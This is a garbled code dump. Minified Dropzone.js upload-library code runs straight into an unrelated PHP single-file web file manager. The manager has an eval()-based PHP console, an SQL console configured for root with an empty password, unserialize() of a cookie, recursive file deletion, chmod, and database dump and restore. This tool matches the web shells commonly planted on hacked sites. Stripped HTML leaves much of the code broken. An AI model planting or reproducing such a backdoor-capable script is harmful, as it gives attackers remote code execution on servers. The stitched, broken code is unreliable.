o,a=_createForOfIteratorHelper(t.previewElement.querySelectorAll("[data-dz-size]"));try{for(a.s();!(o=a.n()).done;)(r=o.value).innerHTML=this.filesize(t.size)}catch(e){a.e(e)}finally{a.f()}this.options.addRemoveLinks&&(t._removeLink=b.createElement(''.concat(this.options.dictRemoveFile,"")),t.previewElement.appendChild(t._removeLink));var l,s=function(e){return e.preventDefault(),e.stopPropagation(),t.status===b.UPLOADING?b.confirm(n.options.dictCancelUploadConfirmation,function(){return n.removeFile(t)}):n.options.dictRemoveFileConfirmation?b.confirm(n.options.dictRemoveFileConfirmation,function(){return n.removeFile(t)}):n.removeFile(t)},u=_createForOfIteratorHelper(t.previewElement.querySelectorAll("[data-dz-remove]"));try{for(u.s();!(l=u.n()).done;){l.value.addEventListener("click",s)}}catch(e){u.e(e)}finally{u.f()}}},removedfile:function(e){return null!=e.previewElement&&null!=e.previewElement.parentNode&&e.previewElement.parentNode.removeChild(e.previewElement),this._updateMaxFilesReachedClass()},thumbnail:function(e,t){if(e.previewElement){e.previewElement.classList.remove("dz-file-preview");var n,i=_createForOfIteratorHelper(e.previewElement.querySelectorAll("[data-dz-thumbnail]"));try{for(i.s();!(n=i.n()).done;){var r=n.value;r.alt=e.name,r.src=t}}catch(e){i.e(e)}finally{i.f()}return setTimeout(function(){return e.previewElement.classList.add("dz-image-preview")},1)}},error:function(e,t){if(e.previewElement){e.previewElement.classList.add("dz-error"),"string"!=typeof t&&t.error&&(t=t.error);var n,i=_createForOfIteratorHelper(e.previewElement.querySelectorAll("[data-dz-errormessage]"));try{for(i.s();!(n=i.n()).done;){n.value.textContent=t}}catch(e){i.e(e)}finally{i.f()}}},errormultiple:function(){},processing:function(e){if(e.previewElement&&(e.previewElement.classList.add("dz-processing"),e._removeLink))return e._removeLink.innerHTML=this.options.dictCancelUpload},processingmultiple:function(){},uploadprogress:function(e,t){if(e.previewElement){var n,i=_createForOfIteratorHelper(e.previewElement.querySelectorAll("[data-dz-uploadprogress]"));try{for(i.s();!(n=i.n()).done;){var r=n.value;"PROGRESS"===r.nodeName?r.value=t:r.style.width="".concat(t,"%")}}catch(e){i.e(e)}finally{i.f()}}},totaluploadprogress:function(){},sending:function(){},sendingmultiple:function(){},success:function(e){if(e.previewElement)return e.previewElement.classList.add("dz-success")},successmultiple:function(){},canceled:function(e){return this.emit("error",e,this.options.dictUploadCanceled)},canceledmultiple:function(){},complete:function(e){if(e._removeLink&&(e._removeLink.innerHTML=this.options.dictRemoveFile),e.previewElement)return e.previewElement.classList.add("dz-complete")},completemultiple:function(){},maxfilesexceeded:function(){},maxfilesreached:function(){},queuecomplete:function(){},addedfiles:function(){}},this.prototype._thumbnailQueue=[],this.prototype._processingThumbnail=!1}},{key:"extend",value:function(e){for(var t=arguments.length,n=new Array(1"))),this.clickableElements.length){!function r(){return o.hiddenFileInput&&o.hiddenFileInput.parentNode.removeChild(o.hiddenFileInput),o.hiddenFileInput=document.createElement("input"),o.hiddenFileInput.setAttribute("type","file"),(null===o.options.maxFiles||1")),n+='');var i=b.createElement(n);return"FORM"!==this.element.tagName?(t=b.createElement('
'))).appendChild(i):(this.element.setAttribute("enctype","multipart/form-data"),this.element.setAttribute("method",this.options.method)),null!=t?t:i}},{key:"getExistingFallback",value:function(){for(var e=function(e){var t,n=_createForOfIteratorHelper(e);try{for(n.s();!(t=n.n()).done;){var i=t.value;if(/(^| )fallback($| )/.test(i.className))return i}}catch(e){n.e(e)}finally{n.f()}},t=0,n=["div","form"];t".concat(t," ").concat(this.options.dictFileSizeUnits[n])}},{key:"_updateMaxFilesReachedClass",value:function(){return null!=this.options.maxFiles&&this.getAcceptedFiles().length>=this.options.maxFiles?(this.getAcceptedFiles().length===this.options.maxFiles&&this.emit("maxfilesreached",this.files),this.element.classList.add("dz-max-files-reached")):this.element.classList.remove("dz-max-files-reached")}},{key:"drop",value:function(e){if(e.dataTransfer){this.emit("drop",e);for(var t=[],n=0;n1024*this.options.maxFilesize*1024?t(this.options.dictFileTooBig.replace("{{filesize}}",Math.round(e.size/1024/10.24)/100).replace("{{maxFilesize}}",this.options.maxFilesize)):b.isValidFile(e,this.options.acceptedFiles)?null!=this.options.maxFiles&&this.getAcceptedFiles().length>=this.options.maxFiles?(t(this.options.dictMaxFilesExceeded.replace("{{maxFiles}}",this.options.maxFiles)),this.emit("maxfilesexceeded",e)):this.options.accept.call(this,e,t):t(this.options.dictInvalidFileType)}},{key:"addFile",value:function(t){var n=this;t.upload={uuid:b.uuidv4(),progress:0,total:t.size,bytesSent:0,filename:this._renameFile(t)},this.files.push(t),t.status=b.ADDED,this.emit("addedfile",t),this._enqueueThumbnail(t),this.accept(t,function(e){e?(t.accepted=!1,n._errorProcessing([t],e)):(t.accepted=!0,n.options.autoQueue&&n.enqueueFile(t)),n._updateMaxFilesReachedClass()})}},{key:"enqueueFiles",value:function(e){var t,n=_createForOfIteratorHelper(e);try{for(n.s();!(t=n.n()).done;){var i=t.value;this.enqueueFile(i)}}catch(e){n.e(e)}finally{n.f()}return null}},{key:"enqueueFile",value:function(e){var t=this;if(e.status!==b.ADDED||!0!==e.accepted)throw new Error("This file can't be queued because it has already been processed or was rejected.");if(e.status=b.QUEUED,this.options.autoProcessQueue)return setTimeout(function(){return t.processQueue()},0)}},{key:"_enqueueThumbnail",value:function(e){var t=this;if(this.options.createImageThumbnails&&e.type.match(/image.*/)&&e.size<=1024*this.options.maxThumbnailFilesize*1024)return this._thumbnailQueue.push(e),setTimeout(function(){return t._processThumbnailQueue()},0)}},{key:"_processThumbnailQueue",value:function(){var t=this;if(!this._processingThumbnail&&0!==this._thumbnailQueue.length){this._processingThumbnail=!0;var n=this._thumbnailQueue.shift();return this.createThumbnail(n,this.options.thumbnailWidth,this.options.thumbnailHeight,this.options.thumbnailMethod,!0,function(e){return t.emit("thumbnail",n,e),t._processingThumbnail=!1,t._processThumbnailQueue()})}}},{key:"removeFile",value:function(e){if(e.status===b.UPLOADING&&this.cancelUpload(e),this.files=without(this.files,e),this.emit("removedfile",e),0===this.files.length)return this.emit("reset")}},{key:"removeAllFiles",value:function(e){null==e&&(e=!1);var t,n=_createForOfIteratorHelper(this.files.slice());try{for(n.s();!(t=n.n()).done;){var i=t.value;i.status===b.UPLOADING&&!e||this.removeFile(i)}}catch(e){n.e(e)}finally{n.f()}return null}},{key:"resizeImage",value:function(r,e,t,n,o){var a=this;return this.createThumbnail(r,e,t,n,!0,function(e,t){if(null==t)return o(r);var n=a.options.resizeMimeType;null==n&&(n=r.type);var i=t.toDataURL(n,a.options.resizeQuality);return"image/jpeg"!==n&&"image/jpg"!==n||(i=ExifRestore.restore(r.dataURL,i)),o(b.dataURItoBlob(i))})}},{key:"createThumbnail",value:function(e,t,n,i,r,o){var a=this,l=new FileReader;l.onload=function(){e.dataURL=l.result,"image/svg+xml"!==e.type?a.createThumbnailFromUrl(e,t,n,i,r,o):null!=o&&o(l.result)},l.readAsDataURL(e)}},{key:"displayExistingFile",value:function(t,e,n,i,r){var o=this,a=!(4u.options.chunkSize),s[0].upload.totalChunkCount=Math.ceil(t.size/u.options.chunkSize)}if(s[0].upload.chunked){var r=s[0],o=e[0];r.upload.chunks=[];var i=function(){for(var e=0;void 0!==r.upload.chunks[e];)e++;if(!(e>=r.upload.totalChunkCount)){0;var t=e*u.options.chunkSize,n=Math.min(t+u.options.chunkSize,o.size),i={name:u._getParamName(0),data:o.webkitSlice?o.webkitSlice(t,n):o.slice(t,n),filename:r.upload.filename,chunkIndex:e};r.upload.chunks[e]={file:r,index:e,dataBlock:i,status:b.UPLOADING,progress:0,retries:0},u._uploadData(s,[i])}};if(r.upload.finishedChunkUpload=function(e){var t=!0;e.status=b.SUCCESS,e.dataBlock=null,e.xhr=null;for(var n=0;n>1}var s=l/t;return 0==s?1:s},drawImageIOSFix=function(e,t,n,i,r,o,a,l,s,u){var c=detectVerticalSquash(t);return e.drawImage(t,n,i,r,o,a,l,s,u/c)},ExifRestore=function(){function e(){_classCallCheck(this,e)}return _createClass(e,null,[{key:"initClass",value:function(){this.KEY_STR="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="}},{key:"encode64",value:function(e){for(var t="",n=void 0,i=void 0,r="",o=void 0,a=void 0,l=void 0,s="",u=0;o=(n=e[u++])>>2,a=(3&n)<<4|(i=e[u++])>>4,l=(15&i)<<2|(r=e[u++])>>6,s=63&r,isNaN(i)?l=s=64:isNaN(r)&&(s=64),t=t+this.KEY_STR.charAt(o)+this.KEY_STR.charAt(a)+this.KEY_STR.charAt(l)+this.KEY_STR.charAt(s),n=i=r="",o=a=l=s="",ue.length)break}return n}},{key:"decode64",value:function(e){var t=void 0,n=void 0,i="",r=void 0,o=void 0,a="",l=0,s=[];for(/[^A-Za-z0-9\+\/\=]/g.exec(e)&&console.warn("There were invalid base64 characters in the input text.\nValid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\nExpect errors in decoding."),e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");t=this.KEY_STR.indexOf(e.charAt(l++))<<2|(r=this.KEY_STR.indexOf(e.charAt(l++)))>>4,n=(15&r)<<4|(o=this.KEY_STR.indexOf(e.charAt(l++)))>>2,i=(3&o)<<6|(a=this.KEY_STR.indexOf(e.charAt(l++))),s.push(t),64!==o&&s.push(n),64!==a&&s.push(i),t=n=i="",r=o=a="",l true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) return $size . ' bytes'; elseif ($size <= 1024 * 1024) return round($size / (1024), 2) . ' Kb'; elseif ($size <= 1024 * 1024 * 1024) return round($size / (1024 * 1024), 2) . ' Mb'; elseif ($size <= 1024 * 1024 * 1024 * 1024) return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; //:))) else return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; // ;-) } else { if (is_file($f)) return filesize($f); $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') continue; if (is_file($f . '/' . $file)) $size += filesize($f . '/' . $file); else $size += fm_dir_size($f . '/' . $file, false); } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) $title = $name . ' ' . basename($link); return '  ' . $name . ''; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= ''; } return $res; } function fm_lang_form($current = 'en') { return '
'; } function fm_root($dirname) { return ($dirname == '.' or $dirname == '..'); } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '
' . stripslashes($vdump) . '
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < ($num_fields - 1)) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \n' . $file . '. \n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success') . ' — ' . $sqlFileToExecute; else return $sqlErrorText . '
' . $stmt; } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '